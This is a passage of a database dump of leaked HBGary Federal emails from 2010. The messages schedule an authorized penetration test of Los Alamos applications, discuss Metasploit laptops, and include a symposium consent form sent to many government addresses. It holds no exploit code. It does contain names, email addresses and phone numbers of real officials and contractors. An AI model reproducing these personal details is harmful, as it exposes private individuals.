message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Taylor,\r\nDavid A&quot; &lt;dataylor@lanl.gov&gt;\r\nDate: June 14, 2010 3:33:51 PM EDT\r\nTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nCc: &quot;Gore, James E&quot; &lt;jgore@lanl.gov&gt;,\r\n&quot;Martinez, Timmy L&quot; &lt;tlmtz@lanl.gov&gt;\r\nSubject: FW: my info\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nToday’s\r\nmeeting will have to be canceled.\r\n\r\nJim\r\nGore is out of town.\r\n\r\nWe\r\ncan have the meeting to discuss the rules of engagement at 11:30 MDT Tues.\r\n6/15/10.\r\n\r\nMy\r\napologies for the late notice. I just found out.\r\n\r\n \r\n\r\nDavid\r\nTaylor\r\n\r\n505-667-6884\r\n\r\ndataylor@lanl.gov\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor, David A \r\n\r\nSent: Thursday, June 10, 2010 8:31 AM\r\nTo: &#39;Ira Entis&#39;\r\nCc: &#39;Martinez, Timmy L&#39;; Bryant, Doris B; Bryant, Jeffery A; Gore, James\r\nE; Lamb, James B\r\nSubject: RE: my info\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nIra\r\n\r\n \r\n\r\nGood\r\nto talk this morning.\r\n\r\nI am\r\nglad you have everything you need to review the PR.\r\n\r\nBelow\r\nis a rough outline of key dates for your folks as we understand them.\r\n\r\n \r\n\r\nThe\r\nfollowing are dates that we have that you should know.\r\n\r\nPR\r\nwas to have been sent on 6/3.\r\n\r\nYou\r\nhave this week to review.\r\n\r\nWe\r\nwould need to make the award by 6/21 so that we could get started on the\r\nbackground check.\r\n\r\nWe\r\nexpect that to take 3 weeks.\r\n\r\nJim\r\nGore would be at training on 7/13 – 7/16.\r\n\r\nWe\r\nfinish up hardening and testing 7/19 – 7/26\r\n\r\nWe\r\nwould review testing with your folks  on 7/28\r\n\r\nYour\r\nfolks would be out here testing on the week of 8/9 – 8/13.\r\n\r\nWe\r\nare assuming that you would be able to do the unix and app penetration testing\r\nsimultaneously for both iRecruit and iSupplier during the same week.\r\n\r\nWe\r\nwould review test results on 8/16.\r\n\r\nWe\r\nwould then expect a written report on 8/30.\r\n\r\n \r\n\r\nIf\r\nyou need anything or have any questions do not hesitate to let me know.\r\n\r\nThanks.\r\n\r\n \r\n\r\nDavid\r\nTaylor\r\n\r\n505-667-6884\r\n\r\ndataylor@lanl.gov\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ira Entis\r\n[mailto:Ira.Entis@agilex.com] \r\nSent: Thursday, April 22, 2010 2:01 PM\r\nTo: Taylor, David A\r\nSubject: my info\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\nIra S. Entis\r\nPresident, Government Services Sector\r\n\r\nAgilex Technologies, Inc.\r\n5155 Parkstone Drive  |  Chantilly, VA\r\n20151  |  www.agilex.com\r\np:703.889.3900  |   m: 703.969.3200\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3251,'aaron_hbgary_com/3251.html'),(7758,'2010-06-24','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297005995.M807046P14101Q2613.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Co Brief','Rgr \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Matthew Steckman\r\nSubject: Co Brief\r\nSent: Jun 24, 2010 10:15 AM\r\n\r\nHey Matt,\r\n\r\nIf you wouldn\'t mind, just work through me for the co-brief.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',6771,'aaron_hbgary_com/6771.html'),(7759,'2010-06-24','\"Lee, Tamika D\" <tdlee6@nsa.gov>','/aaron@hbgary.com/new/1297005996.M105165P14101Q2614.eml','\"Berlin, Kingsley R.\" <krberli@nsa.gov>,\"Anderson, James\" <jwander@nsa.gov>,\"Frye, Keily L\" <klfrye@nsa.gov>,victor.diaz@us.af.mil,\"Sager, Tony W\" <twsager@nsa.gov>,Dmitri_Alperovitch@McAfee.com,\"Widick, Cynthia L.\" <clwidic@nsa.gov>,\"Stramella, Anthony\" <aastram@nsa.gov>,\"Gallagher, Joseph\" <jfgalla@nsa.gov>,rcparks@sandia.gov,\"Smith, Thomas\" <tesmith@nsa.gov>,\"Peteroy, William E\" <wepeter@nsa.gov>,michael.sikorski@mandiant.com,jminicucci@mtcsc.com,Neil.gaudreau@usmc.mil,\"Kaltwasser, Jonathan C\" <jckaltw@radium.ncsc.mil>,adam.long@ogn.af.mil,j.haslup@dewnet.ncsc.mil,Donna.Martin@disa.mil,carter.stephen@gmail.com,Linus.Barloon@whmo.mil,\"Bartock, Paul F.\" <p.bartoc@radium.ncsc.mil>,aaron@hbgary.com,Ann.Barron-DiCamillo@disa.mil,\"Toll, Michael\" <mjtoll@nsa.gov>,dlittle@restarea.ncsc.mil,mhaney@restarea.ncsc.mil,windsor_stephen@bah.com,Michael.Bingham@osd.mil,skbohli@missi.ncsc.mil,rjlarso@missi.ncsc.mil,\"Graham, Kimberly A\" <kagraha@nsa.gov>,aaronmar@microsoft.com,bruce.hoy@l-3com.com,rebl@mailgreg.com,jon.callahan@gdc4s.com,\"Eikenberry, Heather J\" <hjeiken@nsa.gov>,\"Berlin, Kingsley R.\" <krberli@nsa.gov>,\"Anderson, James\" <jwander@nsa.gov>,\"Frye, Keily L\" <klfrye@nsa.gov>','ReBl 2010 Symposium - Consent to Publication','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Afternoon,\r\n\r\n&nbsp;\r\n\r\nThank you for speaking at this year&#8217;s ReBl Symposium.\r\nIt was a great success, thanks to you!&nbsp; \r\n\r\n&nbsp;\r\n\r\nBefore we can post your briefs and/or contact information,\r\nwe need your consent. &nbsp;Please place an x on the line that suits your wish.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ___DO&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ___DO\r\nNOT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CONSENT TO PUBLICATION OF\r\nPRESENTATION.\r\n\r\n&nbsp;\r\n\r\nI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ___DO&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ___DO\r\nNOT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CONSENT TO PUBLICATION OF CONTACT\r\nINFORMATION.\r\n\r\n&nbsp;\r\n\r\nThanks again for making ReBl a success!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nTamika Lee\r\n\r\nReBl Staff \r\n\r\n\r\n\r\n\r\n\r\n\r\n',3711,'aaron_hbgary_com/3711.html'),(7760,'2010-06-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006001.M683063P14101Q2615.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,Ira.Entis@agilex.com','Re: Questions','We can bring our software on disc or thumbdrive and install on their\r\nsystems if necessary.\r\n\r\nTed\r\n\r\n\r\nOn Thu, Jun 24, 2010 at 9:15 AM, Aaron Barr  wrote:\r\n>\r\n>\r\n> Sent from my iPad\r\n> Begin forwarded message:\r\n>\r\n> From: Jerry McClure \r\n> Date: June 24, 2010 11:13:24 AM EDT\r\n> To: Aaron Barr \r\n> Cc: Ira Entis \r\n> Subject: Questions\r\n>\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> While read the technical proposal on the piece that you submitted to us that\r\n> we included outlining in detail your approach, they came across this\r\n> statement:\r\n>\r\n>\r\n>\r\n> We will utilize the Metasploit Framework, an open-source penetration testing\r\n> tool to launch most attacks.  The Metasploit Framework is modular, allowing\r\n> us to easily create and add new attack modules. To exploit a system\r\n> utilizing Metasploit, the msfconsole will be executed on an attack machine\r\n> (we will provide laptops).\r\n>\r\n>\r\n>\r\n> The security issue they have is the “We will provide laptops” as they can’t\r\n> have foreign laptops connect to their network.  If they provided the\r\n> laptops, could you load the software you needed on it and executed from\r\n> their laptop?  If so, how many hours would it take to do so?  If not, what\r\n> other alternatives are there?  Thanks.\r\n>\r\n>\r\n>\r\n> Jerry\r\n>\r\n>\r\n>\r\n> From: Ira Entis\r\n> Sent: Monday, June 14, 2010 3:44 PM\r\n> To: Aaron Barr; Jerry McClure\r\n> Subject: Fwd: my info\r\n>\r\n>\r\n>\r\n> Guys -- does this new time work for you?\r\n>\r\n> - Ira\r\n>\r\n> Begin forwarded message:\r\n>\r\n> From: \"Taylor, David A\" \r\n> Date: June 14, 2010 3:33:51 PM EDT\r\n> To: Ira Entis \r\n> Cc: \"Gore, James E\" , \"Martinez, Timmy L\" \r\n> Subject: FW: my info\r\n>\r\n> Today’s meeting will have to be canceled.\r\n>\r\n> Jim Gore is out of town.\r\n>\r\n> We can have the meeting to discuss the rules of engagement at 11:30 MDT\r\n> Tues. 6/15/10.\r\n>\r\n> My apologies for the late notice. I just found out.\r\n>\r\n>\r\n>\r\n> David Taylor\r\n>\r\n> 505-667-6884\r\n>\r\n> dataylor@lanl.gov\r\n>\r\n>\r\n>\r\n> From: Taylor, David A\r\n> Sent: Thursday, June 10, 2010 8:31 AM\r\n> To: \'Ira Entis\'\r\n> Cc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James E;\r\n> Lamb, James B\r\n> Subject: RE: my info\r\n>\r\n>\r\n>\r\n> Ira\r\n>\r\n>\r\n>\r\n> Good to talk this morning.\r\n>\r\n> I am glad you have everything you need to review the PR.\r\n>\r\n> Below is a rough outline of key dates for your folks as we understand them.\r\n>\r\n>\r\n>\r\n> The following are dates that we have that you should know.\r\n>\r\n> PR was to have been sent on 6/3.\r\n>\r\n> You have this week to review.\r\n>\r\n> We would need to make the award by 6/21 so that we could get started on the\r\n> background check.\r\n>\r\n> We expect that to take 3 weeks.\r\n>\r\n> Jim Gore would be at training on 7/13 – 7/16.\r\n>\r\n> We finish up hardening and testing 7/19 – 7/26\r\n>\r\n> We would review testing with your folks  on 7/28\r\n>\r\n> Your folks would be out here testing on the week of 8/9 – 8/13.\r\n>\r\n> We are assuming that you would be able to do the unix and app penetration\r\n> testing simultaneously for both iRecruit and iSupplier during the same week.\r\n>\r\n> We would review test results on 8/16.\r\n>\r\n> We would then expect a written report on 8/30.\r\n>\r\n>\r\n>\r\n> If you need anything or have any questions do not hesitate to let me know.\r\n>\r\n> Thanks.\r\n>\r\n>\r\n>\r\n> David Taylor\r\n>\r\n> 505-667-6884\r\n>\r\n> dataylor@lanl.gov\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Ira Entis [mailto:Ira.Entis@agilex.com]\r\n> Sent: Thursday, April 22, 2010 2:01 PM\r\n> To: Taylor, David A\r\n> Subject: my info\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Ira S. Entis\r\n> President, Government Services Sector\r\n>\r\n> Agilex Technologies, Inc.\r\n> 5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\n> p:703.889.3900  |   m: 703.969.3200\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13978,'aaron_hbgary_com/13978.html'),(7761,'2010-06-24','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297006001.M998526P14101Q2616.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','RE: Questions','I will assume yes but let me know the impact of Yes or No.  Thanks \r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Thursday, June 24, 2010 12:56 PM\r\nTo: Aaron Barr; Jerry McClure; Ira Entis\r\nSubject: Re: Questions\r\n\r\nWe can bring our software on disc or thumbdrive and install on their\r\nsystems if necessary.\r\n\r\nTed\r\n\r\n\r\nOn Thu, Jun 24, 2010 at 9:15 AM, Aaron Barr  wrote:\r\n>\r\n>\r\n> Sent from my iPad\r\n> Begin forwarded message:\r\n>\r\n> From: Jerry McClure \r\n> Date: June 24, 2010 11:13:24 AM EDT\r\n> To: Aaron Barr \r\n> Cc: Ira Entis \r\n> Subject: Questions\r\n>\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> While read the technical proposal on the piece that you submitted to us that\r\n> we included outlining in detail your approach, they came across this\r\n> statement:\r\n>\r\n>\r\n>\r\n> We will utilize the Metasploit Framework, an open-source penetration testing\r\n> tool to launch most attacks.  The Metasploit Framework is modular, allowing\r\n> us to easily create and add new attack modules. To exploit a system\r\n> utilizing Metasploit, the msfconsole will be executed on an attack machine\r\n> (we will provide laptops).\r\n>\r\n>\r\n>\r\n> The security issue they have is the \"We will provide laptops\" as they can\'t\r\n> have foreign laptops connect to their network.  If they provided the\r\n> laptops, could you load the software you needed on it and executed from\r\n> their laptop?  If so, how many hours would it take to do so?  If not, what\r\n> other alternatives are there?  Thanks.\r\n>\r\n>\r\n>\r\n> Jerry\r\n>\r\n>\r\n>\r\n> From: Ira Entis\r\n> Sent: Monday, June 14, 2010 3:44 PM\r\n> To: Aaron Barr; Jerry McClure\r\n> Subject: Fwd: my info\r\n>\r\n>\r\n>\r\n> Guys -- does this new time work for you?\r\n>\r\n> - Ira\r\n>\r\n> Begin forwarded message:\r\n>\r\n> From: \"Taylor, David A\" \r\n> Date: June 14, 2010 3:33:51 PM EDT\r\n> To: Ira Entis \r\n> Cc: \"Gore, James E\" , \"Martinez, Timmy L\" \r\n> Subject: FW: my info\r\n>\r\n> Today\'s meeting will have to be canceled.\r\n>\r\n> Jim Gore is out of town.\r\n>\r\n> We can have the meeting to discuss the rules of engagement at 11:30 MDT\r\n> Tues. 6/15/10.\r\n>\r\n> My apologies for the late notice. I just found out.\r\n>\r\n>\r\n>\r\n> David Taylor\r\n>\r\n> 505-667-6884\r\n>\r\n> dataylor@lanl.gov\r\n>\r\n>\r\n>\r\n> From: Taylor, David A\r\n> Sent: Thursday, June 10, 2010 8:31 AM\r\n> To: \'Ira Entis\'\r\n> Cc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James E;\r\n> Lamb, James B\r\n> Subject: RE: my info\r\n>\r\n>\r\n>\r\n> Ira\r\n>\r\n>\r\n>\r\n> Good to talk this morning.\r\n>\r\n> I am glad you have everything you need to review the PR.\r\n>\r\n> Below is a rough outline of key dates for your folks as we understand them.\r\n>\r\n>\r\n>\r\n> The following are dates that we have that you should know.\r\n>\r\n> PR was to have been sent on 6/3.\r\n>\r\n> You have this week to review.\r\n>\r\n> We would need to make the award by 6/21 so that we could get started on the\r\n> background check.\r\n>\r\n> We expect that to take 3 weeks.\r\n>\r\n> Jim Gore would be at training on 7/13 - 7/16.\r\n>\r\n> We finish up hardening and testing 7/19 - 7/26\r\n>\r\n> We would review testing with your folks  on 7/28\r\n>\r\n> Your folks would be out here testing on the week of 8/9 - 8/13.\r\n>\r\n> We are assuming that you would be able to do the unix and app penetration\r\n> testing simultaneously for both iRecruit and iSupplier during the same week.\r\n>\r\n> We would review test results on 8/16.\r\n>\r\n> We would then expect a written report on 8/30.\r\n>\r\n>\r\n>\r\n> If you need anything or have any questions do not hesitate to let me know.\r\n>\r\n> Thanks.\r\n>\r\n>\r\n>\r\n> David Taylor\r\n>\r\n> 505-667-6884\r\n>\r\n> dataylor@lanl.gov\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Ira Entis [mailto:Ira.Entis@agilex.com]\r\n> Sent: Thursday, April 22, 2010 2:01 PM\r\n> To: Taylor, David A\r\n> Subject: my info\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Ira S. Entis\r\n> President, Government Services Sector\r\n>\r\n> Agilex Technologies, Inc.\r\n> 5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\n> p:703.889.3900  |   m: 703.969.3200\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16761,'aaron_hbgary_com/16761.html'),(7762,'2010-06-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006002.M487186P14101Q2617.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,Ira.Entis@agilex.com','Re: Questions','Sorry, I only answered part of the question.  It will take no more\r\nthan 1 hr to install and configure everything.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Thu, Jun 24, 2010 at 10:56 AM, Ted Vera  wrote:\r\n> We can bring our software on disc or thumbdrive and install on their\r\n> systems if necessary.\r\n>\r\n> Ted\r\n>\r\n>\r\n> On Thu, Jun 24, 2010 at 9:15 AM, Aaron Barr  wrote:\r\n>>\r\n>>\r\n>> Sent from my iPad\r\n>> Begin forwarded message:\r\n>>\r\n>> From: Jerry McClure \r\n>> Date: June 24, 2010 11:13:24 AM EDT\r\n>> To: Aaron Barr \r\n>> Cc: Ira Entis \r\n>> Subject: Questions\r\n>>\r\n>> Aaron,\r\n>>\r\n>>\r\n>>\r\n>> While read the technical proposal on the piece that you submitted to us that\r\n>> we included outlining in detail your approach, they came across this\r\n>> statement:\r\n>>\r\n>>\r\n>>\r\n>> We will utilize the Metasploit Framework, an open-source penetration testing\r\n>> tool to launch most attacks.  The Metasploit Framework is modular, allowing\r\n>> us to easily create and add new attack modules. To exploit a system\r\n>> utilizing Metasploit, the msfconsole will be executed on an attack machine\r\n>> (we will provide laptops).\r\n>>\r\n>>\r\n>>\r\n>> The security issue they have is the “We will provide laptops” as they can’t\r\n>> have foreign laptops connect to their network.  If they provided the\r\n>> laptops, could you load the software you needed on it and executed from\r\n>> their laptop?  If so, how many hours would it take to do so?  If not, what\r\n>> other alternatives are there?  Thanks.\r\n>>\r\n>>\r\n>>\r\n>> Jerry\r\n>>\r\n>>\r\n>>\r\n>> From: Ira Entis\r\n>> Sent: Monday, June 14, 2010 3:44 PM\r\n>> To: Aaron Barr; Jerry McClure\r\n>> Subject: Fwd: my info\r\n>>\r\n>>\r\n>>\r\n>> Guys -- does this new time work for you?\r\n>>\r\n>> - Ira\r\n>>\r\n>> Begin forwarded message:\r\n>>\r\n>> From: \"Taylor, David A\" \r\n>> Date: June 14, 2010 3:33:51 PM EDT\r\n>> To: Ira Entis \r\n>> Cc: \"Gore, James E\" , \"Martinez, Timmy L\" \r\n>> Subject: FW: my info\r\n>>\r\n>> Today’s meeting will have to be canceled.\r\n>>\r\n>> Jim Gore is out of town.\r\n>>\r\n>> We can have the meeting to discuss the rules of engagement at 11:30 MDT\r\n>> Tues. 6/15/10.\r\n>>\r\n>> My apologies for the late notice. I just found out.\r\n>>\r\n>>\r\n>>\r\n>> David Taylor\r\n>>\r\n>> 505-667-6884\r\n>>\r\n>> dataylor@lanl.gov\r\n>>\r\n>>\r\n>>\r\n>> From: Taylor, David A\r\n>> Sent: Thursday, June 10, 2010 8:31 AM\r\n>> To: \'Ira Entis\'\r\n>> Cc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James E;\r\n>> Lamb, James B\r\n>> Subject: RE: my info\r\n>>\r\n>>\r\n>>\r\n>> Ira\r\n>>\r\n>>\r\n>>\r\n>> Good to talk this morning.\r\n>>\r\n>> I am glad you have everything you need to review the PR.\r\n>>\r\n>> Below is a rough outline of key dates for your folks as we understand them.\r\n>>\r\n>>\r\n>>\r\n>> The following are dates that we have that you should know.\r\n>>\r\n>> PR was to have been sent on 6/3.\r\n>>\r\n>> You have this week to review.\r\n>>\r\n>> We would need to make the award by 6/21 so that we could get started on the\r\n>> background check.\r\n>>\r\n>> We expect that to take 3 weeks.\r\n>>\r\n>> Jim Gore would be at training on 7/13 – 7/16.\r\n>>\r\n>> We finish up hardening and testing 7/19 – 7/26\r\n>>\r\n>> We would review testing with your folks  on 7/28\r\n>>\r\n>> Your folks would be out here testing on the week of 8/9 – 8/13.\r\n>>\r\n>> We are assuming that you would be able to do the unix and app penetration\r\n>> testing simultaneously for both iRecruit and iSupplier during the same week.\r\n>>\r\n>> We would review test results on 8/16.\r\n>>\r\n>> We would then expect a written report on 8/30.\r\n>>\r\n>>\r\n>>\r\n>> If you need anything or have any questions do not hesitate to let me know.\r\n>>\r\n>> Thanks.\r\n>>\r\n>>\r\n>>\r\n>> David Taylor\r\n>>\r\n>> 505-667-6884\r\n>>\r\n>> dataylor@lanl.gov\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> From: Ira Entis [mailto:Ira.Entis@agilex.com]\r\n>> Sent: Thursday, April 22, 2010 2:01 PM\r\n>> To: Taylor, David A\r\n>> Subject: my info\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Ira S. Entis\r\n>> President, Government Services Sector\r\n>>\r\n>> Agilex Technologies, Inc.\r\n>> 5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\n>> p:703.889.3900  |   m: 703.969.3200\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',2635,'aaron_hbgary_com/2635.html'),(7763,'2010-06-24','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297006002.M795491P14101Q2618.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','RE: Questions','What about if they say no?  Will the answer be you can\'t do the task?\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Thursday, June 24, 2010 12:58 PM\r\nTo: Aaron Barr; Jerry McClure; Ira Entis\r\nSubject: Re: Questions\r\n\r\nSorry, I only answered part of the question.  It will take no more\r\nthan 1 hr to install and configure everything.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Thu, Jun 24, 2010 at 10:56 AM, Ted Vera  wrote:\r\n> We can bring our software on disc or thumbdrive and install on their\r\n> systems if necessary.\r\n>\r\n> Ted\r\n>\r\n>\r\n> On Thu, Jun 24, 2010 at 9:15 AM, Aaron Barr  wrote:\r\n>>\r\n>>\r\n>> Sent from my iPad\r\n>> Begin forwarded message:\r\n>>\r\n>> From: Jerry McClure \r\n>> Date: June 24, 2010 11:13:24 AM EDT\r\n>> To: Aaron Barr \r\n>> Cc: Ira Entis \r\n>> Subject: Questions\r\n>>\r\n>> Aaron,\r\n>>\r\n>>\r\n>>\r\n>> While read the technical proposal on the piece that you submitted to us that\r\n>> we included outlining in detail your approach, they came across this\r\n>> statement:\r\n>>\r\n>>\r\n>>\r\n>> We will utilize the Metasploit Framework, an open-source penetration testing\r\n>> tool to launch most attacks.  The Metasploit Framework is modular, allowing\r\n>> us to easily create and add new attack modules. To exploit a system\r\n>> utilizing Metasploit, the msfconsole will be executed on an attack machine\r\n>> (we will provide laptops).\r\n>>\r\n>>\r\n>>\r\n>> The security issue they have is the \"We will provide laptops\" as they can\'t\r\n>> have foreign laptops connect to their network.  If they provided the\r\n>> laptops, could you load the software you needed on it and executed from\r\n>> their laptop?  If so, how many hours would it take to do so?  If not, what\r\n>> other alternatives are there?  Thanks.\r\n>>\r\n>>\r\n>>\r\n>> Jerry\r\n>>\r\n>>\r\n>>\r\n>> From: Ira Entis\r\n>> Sent: Monday, June 14, 2010 3:44 PM\r\n>> To: Aaron Barr; Jerry McClure\r\n>> Subject: Fwd: my info\r\n>>\r\n>>\r\n>>\r\n>> Guys -- does this new time work for you?\r\n>>\r\n>> - Ira\r\n>>\r\n>> Begin forwarded message:\r\n>>\r\n>> From: \"Taylor, David A\" \r\n>> Date: June 14, 2010 3:33:51 PM EDT\r\n>> To: Ira Entis \r\n>> Cc: \"Gore, James E\" , \"Martinez, Timmy L\" \r\n>> Subject: FW: my info\r\n>>\r\n>> Today\'s meeting will have to be canceled.\r\n>>\r\n>> Jim Gore is out of town.\r\n>>\r\n>> We can have the meeting to discuss the rules of engagement at 11:30 MDT\r\n>> Tues. 6/15/10.\r\n>>\r\n>> My apologies for the late notice. I just found out.\r\n>>\r\n>>\r\n>>\r\n>> David Taylor\r\n>>\r\n>> 505-667-6884\r\n>>\r\n>> dataylor@lanl.gov\r\n>>\r\n>>\r\n>>\r\n>> From: Taylor, David A\r\n>> Sent: Thursday, June 10, 2010 8:31 AM\r\n>> To: \'Ira Entis\'\r\n>> Cc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James E;\r\n>> Lamb, James B\r\n>> Subject: RE: my info\r\n>>\r\n>>\r\n>>\r\n>> Ira\r\n>>\r\n>>\r\n>>\r\n>> Good to talk this morning.\r\n>>\r\n>> I am glad you have everything you need to review the PR.\r\n>>\r\n>> Below is a rough outline of key dates for your folks as we understand them.\r\n>>\r\n>>\r\n>>\r\n>> The following are dates that we have that you should know.\r\n>>\r\n>> PR was to have been sent on 6/3.\r\n>>\r\n>> You have this week to review.\r\n>>\r\n>> We would need to make the award by 6/21 so that we could get started on the\r\n>> background check.\r\n>>\r\n>> We expect that to take 3 weeks.\r\n>>\r\n>> Jim Gore would be at training on 7/13 - 7/16.\r\n>>\r\n>> We finish up hardening and testing 7/19 - 7/26\r\n>>\r\n>> We would review testing with your folks  on 7/28\r\n>>\r\n>> Your folks would be out here testing on the week of 8/9 - 8/13.\r\n>>\r\n>> We are assuming that you would be able to do the unix and app penetration\r\n>> testing simultaneously for both iRecruit and iSupplier during the same week.\r\n>>\r\n>> We would review test results on 8/16.\r\n>>\r\n>> We would then expect a written report on 8/30.\r\n>>\r\n>>\r\n>>\r\n>> If you need anything or have any questions do not hesitate to let me know.\r\n>>\r\n>> Thanks.\r\n>>\r\n>>\r\n>>\r\n>> David Taylor\r\n>>\r\n>> 505-667-6884\r\n>>\r\n>> dataylor@lanl.gov\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> From: Ira Entis [mailto:Ira.Entis@agilex.com]\r\n>> Sent: Thursday, April 22, 2010 2:01 PM\r\n>> To: Taylor, David A\r\n>> Subject: my info\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Ira S. Entis\r\n>> President, Government Services Sector\r\n>>\r\n>> Agilex Technologies, Inc.\r\n>> 5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\n>> p:703.889.3900  |   m: 703.969.3200\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12638,'aaron_hbgary_com/12638.html'),(7764,'2010-06-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006003.M56232P14101Q2619.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,','Re: Questions','We need to have our tools to do the job.  If they say we cannot\r\ninstall anything then that would be a show-stopper.  Trying to do the\r\npen-test without our tools, completely manually, writing custom tools\r\nfrom scratch is probably not feasible.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Thu, Jun 24, 2010 at 10:59 AM, Jerry McClure\r\n wrote:\r\n> What about if they say no?  Will the answer be you can\'t do the task?\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Thursday, June 24, 2010 12:58 PM\r\n> To: Aaron Barr; Jerry McClure; Ira Entis\r\n> Subject: Re: Questions\r\n>\r\n> Sorry, I only answered part of the question.  It will take no more\r\n> than 1 hr to install and configure everything.\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Thu, Jun 24, 2010 at 10:56 AM, Ted Vera  wrote:\r\n>> We can bring our software on disc or thumbdrive and install on their\r\n>> systems if necessary.\r\n>>\r\n>> Ted\r\n>>\r\n>>\r\n>> On Thu, Jun 24, 2010 at 9:15 AM, Aaron Barr  wrote:\r\n>>>\r\n>>>\r\n>>> Sent from my iPad\r\n>>> Begin forwarded message:\r\n>>>\r\n>>> From: Jerry McClure \r\n>>> Date: June 24, 2010 11:13:24 AM EDT\r\n>>> To: Aaron Barr \r\n>>> Cc: Ira Entis \r\n>>> Subject: 